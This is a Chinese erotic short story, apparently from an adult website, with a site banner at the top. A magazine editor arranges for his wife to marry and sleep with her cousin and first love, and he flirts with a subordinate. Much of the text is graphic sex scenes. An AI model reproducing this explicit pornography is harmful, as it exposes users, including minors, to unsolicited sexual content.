未满18岁请离开,合理看片健康生活
★本站公告★:合理安排时间看片,享受健康生活。发任意邮件到Lsese318@outlook.com获取最新地址。

成全妻子与初恋情人

 

去年9月份的时候,我和春天回了次她的老家。这是我们婚后第一次去她家,所以大包小包带了不少东西。在买东西的时候,我才第一次知道她还有这幺多亲戚。都说女人心很细,有些不常走动、来往疏远的亲戚,可能都是靠这种形式来维繫吧。

妻子一家生活在山西挨着内蒙边上的一个小县城,背靠阴山余脉,面对黄河大弯,我的岳父那边亲戚不多,主要关係都在我岳母那边。第一次毛脚女婿上门,天天都有一大拨人过来,谈完过程中照例要向他们介绍我的工作。这是岳父家最长脸的时候了:国内最年轻的总编,有名的出版人,很多报纸上都出现过我的名字……大家谁也不会不识趣地问我以往的婚史:我比春天大上十五岁,37岁的人当然不可能一直是单身。

在快结束这段省亲之旅的最后一天,我早上起床后,看到春天和她爸爸妈妈在阳台上低声地交流着什幺,还夹杂着她爸爸刻意压低了声音的训斥。一看我来,春天马上就不再说话,然后她爸爸就说,我去给你们弄早点,看了春天一眼就走了。她妈妈则高声笑语地问我,小宋,你昨晚上和春天二叔喝得是不是有些多了,她二叔就是一个酒虫子。我点头说是。我这人不太能喝酒,喝一些胃就难受。春天便说要给我倒茶就走了。我笑着问她妈妈:以后还常来呢,马上要走了,春天是不是有些捨不得离家,一大早就起来守着妈妈聊天。她妈妈笑着说:是,你不知道,刚才春天一直在跟我说,你把在城里买的房子挂到她的名下,她可高兴了。我说我们春天看中的人,怎幺会挑错了呢。

过了一会儿我回到新房,春天把茶端过来,笑着解释说:妈妈一大早拉我过去,就问我能不能把结婚相册留下来,我说带回来的是最大的那本,我回去后给你把小本的册子寄过来,我妈妈就有点不高兴了。我一直在给她宽心呢。

妻子还是一个不太会掩饰自己的小女孩,每次她要说些言不由衷的话的时候,或者要撒谎的时候,眼睛就眨得挺快的。我想起昨天晚上和二叔喝得晕晕沉沉的时候,春天好像问二叔她表哥现在怎幺样之类的一个问题,她爸爸马上就咳了一声,她妈妈则拉了一下她的衣脚,二叔就马上把酒杯再举起来,一家人好像挺避讳这个话题的。

我没有多想,笑道:就这事?我们再翻印一本不就行了。春天小声说:也要一千多块钱呢。我笑道:也就是我一天的工资,给他们吧,好孩子。我摸摸妻子的头,照往常惯例她便会依到我怀里,不想妻子只是淡淡地回了一句:当然,你才不会在乎这点钱呢。

吃完早饭,妻子陪岳母去厨房洗碗,岳父对我小声道:春天一大早跟我们说,想在家里再多待两天,我说我姑爷事情那幺多,怎幺可能老陪着我们。

我说道:没事,让春天先在家里多陪陪你们吧,不行我先回去。不料岳父一听就急了,连声说不行!

我抬头,看到妻子和她妈妈隔着厨房的玻璃窗,都齐齐回过脸来盯着我们,便向她们笑笑。

上午10点的时候,妻子拉着我去她以前的母亲看看,一路上我们都没有说话。我不知道早上发生了什幺事,一家人急着向我解释,但说法都不统一。春天则掩饰着心事,时不时地来上一句没来由的话,和我聊上几句就不了了之断了下文了。

她母校离她还挺远,步行要走上三十分钟,这一路两边还都不是商业区和居民区,我便问妻子:你高中时上晚自行,也是一个人走?

妻子扭过脸半响不说话。我知道她心情有异,便站住脚,拉住妻子的双手:早上到底发生了什幺事?

妻子低下头,过了一会,又再次偏过脸,有些倔强的语气:我只是想和表哥见个面。没有别的意思。

说完这话,眼睛又再次红了。

我三言两语就搞清楚了这一切,春天下晚自行时都是她表哥送她回家的。这条路他们走了很多次。

春天以前只跟我提过一次,这一次竹筒倒豆子把她和表哥,也就是春天二叔的小孩张志学,所有的一切全讲了。

上高中的时候妻子和张志学往来略多一些,但也只停留在亲戚的关係上,并没有明确恋爱的关係。上大学的时候两人通过书信和电子通讯每天都有很密切的联繫,但一直没有告诉家长。大三的时候,张志学一次酒后和同学打架,把对方打成重伤,然后被学校开除,只好回家务农—其实不算务农,张志学的大姑在乡里开了一个冷冻厂,让他去做副经理了。春天没有因为这事嫌弃张志学,但两人的关係显然受到很多反对。春天父母和她二叔在这一点上是一致的。

春天毕业后来我这里工作,那时她还想继续和她表哥的关係。但是中国农村现在对优生优育的教育很到位—她二叔反对是因为怕将来生出傻子,她父母的反对自然不用多说。好不容易在省城站在脚,怎幺可能再回老家呢?

当时我和前妻的关係还不算很僵。春天也无意扮演第三者的角色。只是我经常加班—那时我还是社里的执行总编,春天老得在编辑部里写稿子,有时两人一起出去吃个饭还都是正常的。后来春天知道张志学在老家结婚了,受情绪影响,月经便不太正常,经常痛经痛得不能上班。春天的文笔非常优秀,我又不太喜欢当时的编辑部主任刘姐,想提拔春天作我的副手,便关心她多一些。刘姐可能猜出我的想法,便匿名给我前妻打电话,说我和春天好上了。前妻有一天找上门来,我以后找我,哪知她连春天长什幺样都提前了解了,直接跑到春天面前,几个大耳光把春天打晕了。

然后我便和春天好上了。说实在的,我其实并不是很想离婚,但春天当时除非不在杂誌社继续工作,要不只能选择和我走到一起。春天本质上是一个有仇必报的性情女孩,另外人往高处走也是一个常理。

不过我对妻子还是觉得有些过意不去。我比她大太多了。妻子也因此被我惯得有些娇纵。不过我知道她还是很爱我的。有名,有权,有房,有车,又颇有才华。

我便问妻子:你见他,他老婆要是知道了,不得和他闹?

妻子犹豫了一会才说:那时他是为我好,假称自己结了婚的,实际上,他一直爱着我。

我心里怪不是滋味的,但是生活优渥的中年男人,又是做媒体的,对性的开放程度远超过一般社会上各类人,再加上对自己性能力方面有些潜在的隐隐的不安,只想了片刻,便决定去体验一种另类的情感。这种事吧,一旦做出决定,心里便像猫挠一样的痒痒。

不会发生什幺吧,我斜着眼看妻子。

春天脸红了,冒出一句:你这幺信不过我?!要不我们就不再一起了!

路边上一个大妈看了我们一眼。妻子这才没有闹下去。

到底岳父岳母还是怕春天出事,上午的时候便订好了机票。妻子没有看到张志学,我心里也有点失落。

回到省城只休息了一天,我们便上班了。妻子已经被我提拔到编辑部主任的位子,我为此还专门安排她上了北大的一个编辑出版班学了一段时间。我们是一家国营出版机构,除了我现在负责的杂誌社会效益和经济效益都非常好,其他的全死掉了。在整个华北地区,这家杂誌名声斐然,一个这幺年轻的编辑部主任,会让很多人侧目的。但妻子内心还是很镇定自若,仅工作了四个月,就把编辑部的局面打开了,新的编辑风格,更趋向潮流,版式和文风也都更时尚化和更为华丽,社长大人对春天都很满意,有一段时间,每次开会都要和大家一起取笑我举贤不必亲是做到家了。

接着一连几个星期,我在床上的表现都非常神勇,比刚结婚的时候还厉害,弄得妻子有点受不了,跟我嘀咕:你是不是吃伟哥了?

妻子喜欢裸睡,现在我一看到她洁白的玉体,和下体不断流出的精液,就想到她会这样躺在另一个男人身边,让另一个男人玷污她的纯洁,心里便刺激得不行。看过了了了的小说妻子和农民工之后,更加跃跃欲试。

吃了精神伟哥了。我严肃地说道。

妻子钻到我怀里,很不好意思,半响说道:谢谢你。志学的才华你不用担心。

是啊,我也觉得,在一个冷冻厂做羊肉冷冻,最后一身膻味,再熏坏了我的小春天,怎幺办?

那他住哪里?

我便用手指指指床。

妻子睁大眼睛看着我。她是单眼皮女生,但眼睛细长,端庄之外另有一种动人的妩媚。

我搂着春天不说话,又想再来一次。妻子笑着推我:不行了,人家真不行了。

然后说:这怎幺行!以前是你对不起我,我和你好,有一半原因是我想让你前妻后悔,我爸妈都没动过我一根手指!现在我能天天看到志学,就已经很满足了,怎幺能做出那样的事呢?

我没有再继续这个话题。第二天上午,身体便觉得有些疲惫。

过了两个月,我终于说服春天把一篇稿子发给张志学改。

一天上午,在新闻出版局连着开了半天的会,中午的时候给妻子打了一个电话,让她下午的时候把志学写的稿子给我发出来看一下。下午接着开会,一个姓贾的科长用催眠般的声音读了四十分钟发言,让我实在受不了这种人生的无聊,因而溜出了会议室,跑到隔壁一间无人的办公室,打看电脑联上3G,在信箱里查收到了志学写的稿子。一个小官僚的发言就这样开始启动了我的淫妻之路。

我花了十分钟读了开头,感觉有爱妻春天的风格,知道妻子肯定给他做了一些润色,但整体框架还是不错的,又读了一下最后的结尾,这种充满思辩风格的收尾不是春天擅长的,应该是志学自己完成的。

连上MSN,妻子正在线,先来问我:如何?

非常优秀。我极力讚赏。

哪里有这幺好。只是开头还不错。

我没有点破:你马上和他联繫吧,工资待遇这一块,肯定会让他满意。他原来能挣多少?

我没问。爱妻回道。

那你问问。

其实这个不是关键,我知道他的。他挺有上进心。

过了五分钟,妻子回了句:和他联繫上了。他又不想来了!气死我了!要不算了?

有些意兴阑跚。

妻子给我转发的稿件,没有删掉志学的邮件地址。我想了想,便直接给志学写了封信,写了几次,均不太满意:可能过于激动吧。

我平静了一会儿,决定以最真诚的态度来写这封信。

志学:你好。我是老宋,直接给你写信,是不是有些冒昧?

想邀请你加盟我的团队,不仅是因为春天的原故。你写的稿子,我看了,觉得你非常有才华!真的不希望你就此埋没在乡间。相信你在写稿子的时候也怀希望一展才华的抱负。

我想,你现在又不打算来,是不是因为春天现在已经和我结为夫妻一事?

如果是这样,我建议你不要有这种顾虑。你和春天原来就是很好的一对。现在,她依然对你恋恋不捨,我非常爱她,也希望她能通过某种方式圆一下旧梦。如果我还年轻十岁,我不可能有这样的想法。我比你们大很多,多一些对世事人情的经历:再光鲜的婚姻,披开盖子,里面一多半都是谎言。而一些残缺的婚姻,如果持一种达观、开放的态度看待人性,说不定才能接近真爱的核心。邀请你来,不仅是希望你加入我的团队,也希望你能加入我的家庭—和我一起爱春天,共享她美妙的肉体和天使般的爱情。只要我们三个很好地保守这个秘密,不会有人知道的。

这封信,千万不要告诉春天。你有什幺疑问,直接给我发短信吧。我的电话是:……

发出去之后,我再次溜回会议室。已经换了一个领导,声音软绵绵的,继续读另一篇发言稿。

在散会前,我收到了志学的短信:你的信我读了。感谢你的真诚和宽容。不过我更不能来了,你是一个好人,春天选择你是没错的。我不能伤害你。

我回了一句:你也可以让我乐在其中啊。

他回了一个问号。

我解释了一下:你和她在一起的时候,多提提我的好,就行了。我相信有你理智的态度,有春天对我的夫妻之爱,我们不会有事的。来吧,无论如何,请帮着圆一下春天的梦!

志学就一直没有再回信。散会后,我给春天打了一个电话,先问一下社里有什幺事。春天说,也没什幺事。对了,我母校的团委,要办一个哲学、艺术和人生为主题的演讲活动,想请你去做评委。

我问了一下时间安排,觉得还可以,因为学校还请了媒体,正好可以宣传一下我们杂誌新的办刊方针,就同意了。妻子又补了一句:对了,还有发行部的小齐,有什幺事吧,下午找了你好几次。你给她回个电话吧。

齐娟是我们杂誌社公认的美女,身材高挑,容貌秀丽,在和春天好上之前,实际上是小齐有几次对我暗递秋天的菠菜的。最后,我和春天走到了一起。在和春天结婚前,小齐有一天突然提出要离职。我费了好大力气才让她收回辞职,让她去黄山玩了两周。她回来以后,便以闪电的速度交了一个男友,现在已经到了谈婚论嫁的阶段了。

以前爱妻老是床上床下老给我洗脑:防火防盗防齐娟。

我说,好。

爱妻突然柔声地说了一句:你对她的态度不要那幺硬梆梆的,我相信你的。

我笑笑,没说什幺。

小齐和她男友分手了。你可得趁虚而入啊。

我有些惊讶:是吗?大家都以为她要结婚了呢。

实在不行,你也可以安慰一下她的心灵,但可不要安慰她的肉体。春天语气有些酸酸的。

女人永远是女人。这个时候,你一定要坚信这一点。吃醋是女人的第二天性。

妻子的声音突然羞涩起来:对了,张志学同意来了!

正巧,在这个时候,我手机震动了一下,我移开一看,是张志学的一条短信。

压抑着激动的心情,我笑道:晚上床上交流这事。

晚上欢爱的过程中,对于我的一个提议,妻子照例抵死不鬆口:你疯了!我才不是那种女人呢!

这两个月,我以自己年近四十、又老抽烟为由,希望志学给妻子下种,怀一个孩子。妻子一直骂我疯了。

我射了以后,妻子拿手纸给我擦拭下体。然后她依偎在我身边,开始八卦:你说,齐娟是不是眼光太高?

不知道啊。

我知道,她老是比着你的条件去找的!春天说完,便斜着眼拿批判的眼光看着我,还重重地哼了一声。

我摊摊手,不敢接春天的话。

话糙理不糙。你知道吗,你人近四十,要注意保养了!春天假装老道的语气让我有些暗笑。

我真的不会跟她好的。

你要跟!

妻子的语气让我一愣。她是来真的了!

齐娟还挺感谢我主动分享的大度!哼!她就是为了你,才跟她现在的男友分手的。

你是怎幺跟她说的?!我可是总编,你不要让人背后骂我是色狼好不好?!我跳了起来。心里还纳闷:见了鬼了!齐娟那种妖精一样的长相,春天会同意让我和她好?

不告诉你。妻子的情绪突然低落下来。

不说这个了。志学来了,先住在客厅吧。在他找到住处之前。我继续着刚才的话题,曲线前进了一小步。妻子同意了。

两个人沉默了不过五分钟,爱妻突然扑了上来,像个小野兽一样地牙咬爪撕:你知道我有了你的纵容,肯定会把持不住的!你欺负我!你是不是为了想跟齐娟好?

我狂热地搂着她,不断地亲吻和爱抚。下体又再次硬起来。

我再次插入。

春天这一次阵线全线崩溃:我和志学好上,你可不能老和齐娟好。你要注意保养身体!

好。我使着大力,脑中一时是齐娟窈窕的身姿,一时是春天和他人欢好的幻想。

不过,春天是个好姑娘,怎幺能随便和别的男人上床呢。

春天有些糊涂:那你的意思是……

之前你们要把中断的恋爱谈完吧。然后办一场婚礼。然后你们才能恩爱云雨。

啊,什幺云雨!好流氓的词啊。春天的肉洞里开始出很多的淫水。我插得更快了。

爱妻的肉洞和我前妻生过小孩不一样,非常紧的,她只有出很多水的时候,我才可以飞快地抽插。

就是和他合体呀。

淫蕩的词彙对于女性的心理冲击力比男性更大。妻子已经彻底崩溃。发出一些不连贯的语句。好,和他合体……被他佔有……

我喘一口气,略停了一下,然后把爱妻的肉体调整到趴在床上的姿态。别看春天在生活中很要强和有个性,在床上却非常百依百顺,甚至喜欢被轻微地虐待一下。

你想被他征服,成为他的女人吗?我从后面开始插。

你知道再过几天,你的小嫩逼也会这样被他干吗?

春天唔唔地说着什幺,疯狂地摇着头,后面的淫水氾滥,从肉洞一直流到腿上了。

说!我逼问着她,打不打算给我戴绿帽?

打算,打算!

好宝贝,说,你的小嫩逼会让他插吗?把我的话完整说出来。

会的,春天的小嫩逼会让他插。

让谁?说清楚。我使劲顶着春天的肉洞,射意渐强。

春天的小嫩逼会让志学插。

这时春天的洞里里水有些少,但出的水更黏稠了。

我想把这事凿实了,语气也恢复正常:他来了以后,你也不要马上和他做爱。

春天回脸看我一眼,但眼神是涣散的。

好。

我使劲顶着爱妻的花心不动:在我们结婚纪念日那天,我给你们办婚礼,从那天开始,你就可以让他插,让他射了。

春天一下子被我顶趴下,接着是一连十几下的重重插入。

春天的身子开始痉挛:好!好!在那天我给他!

以后我就不射进去了,好不好?在你怀上之前,只有他来射!我的激情也在自虐中达到致极。

春天开始叫起娘来:听你的!只给他!

我死死地抱住爱妻被我抓得有些发红的雪臀,激射出来!

整整两个小时的时间,我兴味盎然,和春天讨论她与志学的婚礼的细节。比如两个人用舌头夹一根筷子,双方不能少下二十个名字来称呼对方,把两个小纸团投到春天的乳罩里,让他去摸其中一个。摸到了要吃药,就是可以直接射,但春天那天晚上要吃避孕药,事后的那种药。摸到了写有不吃避孕药的小纸团,他还是直接射,但是春天那天晚上就有可能被他下种了!还有其他一些更好玩的。

他会不会不同意啊?我搂着爱妻,下体实在有些硬不起来了,否则还想再提枪征伐。

春天一撇嘴:就他那小样,他敢不听我的!不听我的,敢不听老闆的!

第二天早上醒来时看天光还微暗,春天雪白的胳膊搭在我的枕边,眼皮微微一动,嘴角牵出一丝羞涩的笑意。

「昨天晚上……」她呢喃着吐出几个字。

「我们有些疯狂。」

「我可以反悔吗?」春天扒在我的身上。

「你不想继续下去呀。」我摸着她的屁股。

「你想继续下去吗?」春天捂着脸不好意思看我。

「我想。」我搂着春天要亲吻。春天笑着推开了我,「嘴臭着呢。」

我爬起来,洗完脸,等着春天去吃早点。春天洗脸花了半个多小时,然后又要看早7点的新闻,让我去给她买早点。我求饶:小姐,我这一来一回要半个小时呢。春天只是看着电视,摆着头:去!

我拎着饭盒刚要出门,春天突然嘿嘿笑了起来。我奇怪地看了看电视:「老婆,你的笑点这几天真的很低哦。」

春天扭过脸来,指着我:「要是张志学在,我们俩就可以支使他了,是不是?」

「人家是客,这样会不会不好?」

「他佔了我们家这幺大便宜,跑死他都有余!」

「那他会不会很辛苦?晚上要加班,早上还要买早点………」

春天娇叫一声,举着小拳头追打着我:「再胡说!」

到了社里,每天都有一大堆的事情,但每个月的20号以后总是要略轻鬆一些。下一期的选题总可以再拖个四五天,尤其是有存稿的时候。发行部的刘主任敲门进来,脑上挂着一点不快。

「怎幺了,刘主任?」

「宋总编,有个事,我能坐下和您说吗?」刘主任脸色有些难看。

我连忙站起来拉着刘主任坐到边上的沙发上,并要给他泡茶。刘主任歉让了一会,等他喝上我倒的茶,这才略微平静下来。我猜的没错,是来告齐娟的状的。

刘主任以前不是杂誌社的,而是市文化局的,去年因为被排挤才沦落到我们杂誌社。他不太懂业务,不知道如何开展巡点工作,齐娟作为有两年工作经验的发行助理,几次来越级告状,指责刘主任一点儿系统的营销学也不懂,只要看她坐在办公室就不高兴,觉得她偷懒,派出去人也只是让人看看书刊铺到没有、海报贴了没有,因此她经常和刘主任发生矛盾。

我对刘主任也非常不满意,但和他说发行管理工作他连听都听不懂,只好直接指挥齐娟。这个老刘,真不愧是国家机关里出来的,竟跑到社长面前告我的小状,说我和齐娟有不正常关係,社长也很无奈,知道这个家伙狗屁都不懂,但考虑到他与文化局的关係,也不能拿他怎幺的。

我耐着性子听刘主任告了一个多小时的状,总算把他劝住了。他刚起身要走,齐娟也不敲门就直接闯了进来,手里拿着几张报表。我笑着招呼她,齐娟脸上还是冷冷的,看都不看刘主任一眼,愣头愣脑地跟我说:「宋哥,这是我们杂誌在60个城市便利店、超市、卖场、书店的卖点重要性分级,报摊的信息我跟刘主任要了几次,他不给我,我没法子做进来。」

刘主任脸上挂不住了,指着齐娟说道:「小齐,我不是说你,你要是跟我说是宋总编要的,我能不给你吗?这个事情的原委我一点也不了解,你就不能跟我通个气吗?」

齐娟腾地转过身来:「刘主任,上次发行部会议你没参加,我不是你的秘书,这是宋哥在会上亲自布置我做的,前天你没来上班,我给你打电话要报刊信息,刚说两句你就挂,昨天我又出去巡点—这是你布置我做的,不,是你指定我做的,全市160个点,您老人家让我一个人跑60个点,发行部其他3个人才各跑30个。你说我对各个网点熟,他们不跑能熟吗?我有时间跟你汇报吗?」

我看刘主任的架式简直要扑上来吃了齐娟,连忙劝住他,又向齐娟喝了两声让她禁声,刘主任嚷嚷着要我马上开除她,要不然他会直接找社长,在我半推半劝之下,他恨恨地出了门。

春天听到了走廊里的动静,也出来了。我让她去劝劝刘主任,然后回到屋里,看见齐娟坐在沙发上直抹眼泪。

「你啊,你当时就不能注意点语气吗?」

齐娟一下子爆发了,她眼睛里泪光莹莹的,脱掉鞋,给我看她的脚:「你看看,我快跑断了腿,脚上都起了大泡了,有他这幺使人的吗?你还说我?」

我一下子心疼的不得了,忙蹲到她跟前,举着她穿着丝袜的小脚来看。

齐娟微微向后缩了一下,我也下意识地缩回手。不料她又再次把脚放到我手间,偏着头:「不嫌臭的话,帮我捏捏。」

那一刻多少有些思想斗争,但做出决定也就是两秒钟的功夫。有人说过离过婚的人确实就更能忽略心底的自我警戒,这话是有道理的。

我大着胆子轻轻地握住了齐娟曲线玲珑、触感温润的小脚,亲了一口丝袜中的齐整的脚趾头。齐娟脸腾地红了,含情地注视着我,手也自然地搭上了我的肩。

这时门又被人重重推开,我回头一看,却是春天,进来的时候气得脸都歪了:「什幺玩意,说我们是夫妻店!挤兑外来户,搞一言堂!」

我本能地把手缩了回来,齐娟的小腿还是悬空挺在我面前。

春天怔了一下,马上换成一脸讥笑:「来得真不是时候,怎幺不接着揉?娟姐天天跑发行,最辛苦了!轻点揉,别不知道怜香惜玉!」

然后她转身把门关了起来。

齐娟也笑着对春天道:「人家本来一肚子气,宋哥刚一揉,就消了半肚子了,还有半肚子呢,宋哥,你夫人可是下了令了,你敢不接旨?」

饶是我这幺多年闯蕩江湖的经验,此时也不知该如何应对了,干在那里,让两个岁数加在一起才将将超过我的女孩儿揉弄得无话可说。

齐娟看我尴尬得不行,也就自然地将小腿搭了下来,穿上鞋站了起来,对春天摆摆手:「主任大人,我先走了。一会儿我找你有个事。」

春天在她走过去的时候,拉住了齐娟的衣角:「喂,我前几天说的只是玩笑话呀,你还当真了?要不要出去开个房,让老宋给你好好捏捏?」

齐娟个子高出春天小半头,和春天面对面地站着,再加上美貌完全地压住了妻子,气势上也没显出做贼心虚的怯意,笑着顶回去:「妹妹,贵表哥来了以后,我可真要约宋哥出去开房。这话也是你自己说的,他心地这幺好,成全你的初恋,你怎幺感谢都不为过是不是?我决定被你牺牲一回,替你表达一次感激之情,当初可说好的,你得尽快把我弄进你的编辑部。」

这次轮到春天脸红了,作势要掐她的嘴:「死丫头,你发誓永远不会说出来的!」

我走过去欲搂住春天和齐娟:「齐人之福,可不是哪个男人都有享用的!不必开房,我们家的床大着呢,今天是我你她,100,等志学来了,就是101,好不好?」

这才把两个女孩子给震倒,均羞红了脸,异口同声地骂我流氓,却没有人挣开我的搂抱。看怀中的二女娇喘吁吁,情慾萌发的样子,我也不敢多搂,笑着松了手。

晚上,春天被我脱得光光地,在我怀中给张志学打电话。我贴着她的耳朵听着对话,不断地让她放开一些,不要那幺拘谨,但女人羞涩的天性可不是那幺容易克服的。一直到我用指头揉着她的小豆豆,春天的淫水随即潺潺流出,在电话里才略为放浪了一些。

整个电话对白大致如下:「志学,我。」

这时我已经在亲吻爱妻的乳房了。

「就你一人?」

春天看着我,我点点头。

「是啊,他还在书房工作呢。你干吗呢?」

「我在帮你看稿子呢。从下午看到现在,看了差不多二十多篇。」

「嗯,你辛苦了。」

这时,爱妻的乳头已经硬硬的勃起,脸上也浮现出带着春意的一抹红霞。她一只手拿着电话,另一只手更挡不住我一路往下的爱抚。

「我已经订上了后天的火车票,明天开始打行李。」

「行。」

我附在妻子耳边说:「让他不用带太多,住我家里。」

妻子笑着直摇头,用嘴形跟我说:说不出口!

「你能不能帮我找个便宜的合租房?」

我只好挠她的痒痒,春天又得压着笑,又得躲着我的呵痒,还得装作无事地应付电话那头,终于鬆了口:「有个便宜的,只要你每天早上出去买早餐,晚上回来做晚饭,洗碗,一个月只收你1块钱,你愿意不愿意来?」

爱妻庄敬自矜的语气中终于有了一些柔媚。我的心咚咚地跳着,非常激动。

电话那头沉默了一会。

「春天,你真得还爱我吗?」

春天放下电话,向我作了个鬼脸,我示意她回答爱。

春天似乎咬咬牙,点了我一下,对着电话一字一句地说道:「我爱你。」

心里一阵无比的难言酸涩,一阵异样的火辣刺激,当我把手终于伸进爱妻的裤头里时,发现她下面已经水汪汪地一片了。

电话那头又是一片沉默。

「我当然爱你!」

「我也爱你!」张志学在电话那头有些狂热,「我想要你!」

春天彷彿受到电击一样哆嗦了一下,到此时她似乎才明白过来,自己一女二夫的生活真的要开始了!

我的指头开始动作。

「我……给你!」春天看着我,声音带上了哭腔。妻子脸上的激情不是为我而生,让我更觉得无比刺激。

「春天……」电话那头似乎也有些情慾勃发,「他是不是在你边上?」

「志学,我在春天的边上。」我接过话来。

春天摀住了脸,嘴上嘟哝着,「天啊」,「丢死人了」,什幺的。

「你可不能随便地佔有她。」

「大哥……」

电话那头的声音一下子蔫了。回来之后这段时间,春天跟张志学通话不少于十来次了,我也多次在边上听过,但这还是第一次两个男人之间直接对话。

「只要春天还是我老婆,你是不能动她一个手指头的。」

张志学一下子蔫了,也有些糊涂:「大哥,是我糊涂了,……那前些天您给我的信,是不是我理解错了……」

春天笑着拿胳膊肘顶了一下我,她知道现在已经是箭在弦上不得不发了。

「我们春天怎幺能随随便便地就和一个男人做爱呢?我的意思是,你不能没有任何名义就佔有她,你得先和她拜天地、进洞房,是比较正式的那种。」

妻子非常激动,按着我的手指,不让我再动,她是怕自己会叫出声来。下面的水流得真不少。

「你的意思是,是让我和她结婚?!那你们俩?」

我把电话递给春天,让她跟张志学说,春天羞笑着不好意思说,推让了几次,还是接了过来,并把电话调到免提状态:「志学,他想让我一女二夫,嘻嘻。再过五天,是我和他的结婚纪念日,那时,他让我和你拜堂成亲。」

「……拜堂?」张志学有些迷糊了,「领不领证?」

「领也是可以领的—要是你以后不再结婚的话。」春天问。

「这………我可能还得再想一想,行不行?」

「怎幺,得了我,你还想和别人结婚?」春天有些不高兴,语气冷了下来。

我扯了一下春天的手,打着圆场:「以后的事谁也说不準是不是?」

春天清醒过来,用撒娇的语气说道:「志学,宋平又给你工作又把我给你,你还没正式地向他表示感谢吧?快说点好听的。」

「宋哥,我真的非常感激你!以后,你让我做什幺,我就做什幺。」

「你要对我感谢,就要体现在对春天的态度上,温柔一点,尤其是第一次……而且要辛勤播种,你们新婚第一个月,我不会来打扰你们的。」

妻子的脸腾地漾出一片迷人的红晕。

我压在了妻子迷人的肉体上。妻子忍不住发出一声呻吟,几乎算是当着情人的面和老公做爱,骨子里的淫蕩劲一泛出来,就像野火一样烧得无发收拾了。

「志学,你之前有没有爱抚过春天的肉体?」我一面说着,一面手上开始动作起来。

春天恶狠狠地瞪了我一眼:「不许跟他讨论这样的话题!」

「没有。只拥抱过。亲吻过。」

「你知道春天哪里最敏感吗?」我叼着春天已经勃起的乳头,含含糊糊地问志学。

「喂,不可以!不可以这样……你们不可以这样羞辱我的……」

春天有气无力地挣扎着,要掐掉通话。

「他马上就不是外人了,也是你老公了,是不是,志学?」

「是。」电话那头声音也激动起来,他应该猜出我和春天在做什幺。但我还是故意地说道:「我和春天马上要行人伦大礼,你想不想听春天的叫床声?」

「想……」张志学喘气声也粗了起来。

「志学你就跟着你宋哥学坏吧……」春天的阵线全部垮掉,肌肤的颜色一下子泛出融融的粉光。她好像也豁出去了,在我的动作下,小声地叫了起来。

最后,我故意重重地插入,春天失控地发出叫声,我对着电话说:「春天的肉洞真的又紧又美,志学你现在别嫉妒我,再过五天,就全是你的了!是不是,志学?」

「是!」无比的冲动之下,张志学的声音有些嘶哑。

「瞧这小浪蹄子,淫水一股一股地冒呀,志学,我敢肯定,到她跟你偷情时,肯定你得在她屁股下面拿条毛巾。」

「好的……」张志学像是喘不过气来。我暗笑。

正美得不行,突然我心里又是一酸,这条毛巾到时不仅会有妻子的浪水,还会有从妻子洞里溢出来的志学的精液。再过五天,我也要这样待在一边看着妻子和他人淫乐了啊!而且,我还要设计各种令人匪夷所思的闹洞房,来增加妻子和他人淫乐的快感!

这幺一想,动作幅度不免有些粗野。我快速地插着,妻子被我一直顶得不得不用双手撑着床头的靠背,嘴里发出求饶的语句。

「要和志学偷情了,想不想?」

「谁想和他……」

「志学,你想不想天天操春天?」

「我想操,天天操!」

「以后你可以天天射进去,不用避孕,明白吗?我已经快四十了,精子质量不高,你要多提供一些好的种子,种在春天的子宫里去!」

「我一定会好好播种的!」

「我才不要他的呢,我就要我老公的!张志学你别臭美了!」

妻子在呻吟中断续地说出这句话,与其说是拒绝,还是如说是一种欲拒还迎的挑逗。

我压着妻子光洁的小腿,开始侧交,并让她更好地对着电话与志学进行交流。

张志学那边可能已经开始打起手枪来,发出的声音像火车一样粗里粗气的:「春天,你现在很爽吗?」

「爽……爽……志学……我被他操死了……」

我抱着春天翘挺的雪臀,一鼓作气连插了十几下。春天受不了我这样的进攻了,也不管电话那边志学的感受,淫言浪语脱口而出。

「志学,我给你们安排了一些特别的闹洞房节目,你可不能提前射了,要不然你真辜负了我的一片好心。」我用说话来分神。

「闹洞房的节目还,还会让我射?是什幺节目?」

「你还有什幺花样?」春天也不知道我到底安排了什幺节目,这时也关心起来。

「我就透露一点吧,最后会有一个节目,」我放缓了速度,喘着气,把春天翻了过来,採用最传统男上女下面对面的姿式,开始了最后一轮的进攻。

「我会把一根红线的线头放在春天的小肉洞里,志学你要用鸡巴把红线给挑出来……」

「天啊,你这还是闹洞房啊……」春天的肉洞收缩得我的肉棒都拔不出来了。

「老婆到时你可不要出太多的水啊,否则那根线头可就粘在你的肉洞里,会让志学的鸡巴越弄越深的。你不想当着老公的面和别的男人巫山云雨吧!」

「啊!」

春天高亢地叫了一声,双手死死的扣紧我的肩膀,嘴里刚咿咿呀呀地说了句什幺,脖子一挺,头一下子往后撅到极限,一双雪白的小脚脚弓也绷出令人热血沸腾的弧线:她婚后第一次高潮了!

第二天是週六,我陪着春天上街去逛。

给春天去挑她偷情用的内外衣、各种用品,还要给她参谋,那种刺激体验,真是难以形容。在我们的採购清单里包括:红色的被单、被套,床单,鸳鸯戏水的枕头两个,乳罩、红内裤、丝袜、红色的跟鞋。春天的皮肤非常白嫩,她最喜欢穿肉色的内裤,所以红内裤之外,还要再买肉色内裤。此外还有最重要的:喜服。

我们俩都倾向于买传统的中式服装。在一家新娘衣饰店内,春天选中了一件。娇艳欲滴的鲜红喜服,尊贵华丽的金线凤凰,美得让我也看得心惊胆战。春天在店里试穿了一下,连店员也都看得发呆,连声向我恭喜,说您的新娘子一定得配这一身,还说先生一看就是有福之人。我附在春天的耳边说:「再过几天就要让志学来脱这衣服了,他肯定得美死了。」

春天红着脸点了点头。

这套喜服不仅做工好,材料也都相当高档,连里料和盘扣也都是真丝的。价钱虽然有4000多,我再也没有犹豫,马上就买下来了。

想像着春天穿着这样一件衣服甜美含羞地站在张志学面前,我真是有些捨不得了!当然—捨不得老婆戴不了绿帽,再一想那种情景,鸡巴都硬了起来。

出了店,我强忍着冲动,搂着爱妻笑道:「你们刚圆房,肯定像蜜里调油一样,每天还不得好上几次?走,我们再去第三层,再多买一些内裤吧。」我小声说道。

春天的气息便有些不匀,靠在我怀里:「老公,老公,你要把人家宠坏了!」

「好妻子是宠出来了。我相信你不会因为新欢对我的爱就淡了。」

我拉着春天走向商场的滚梯。外人不知道,还因为我们是一对无比恩爱的未婚夫妻,想一想也觉得非常有意思。

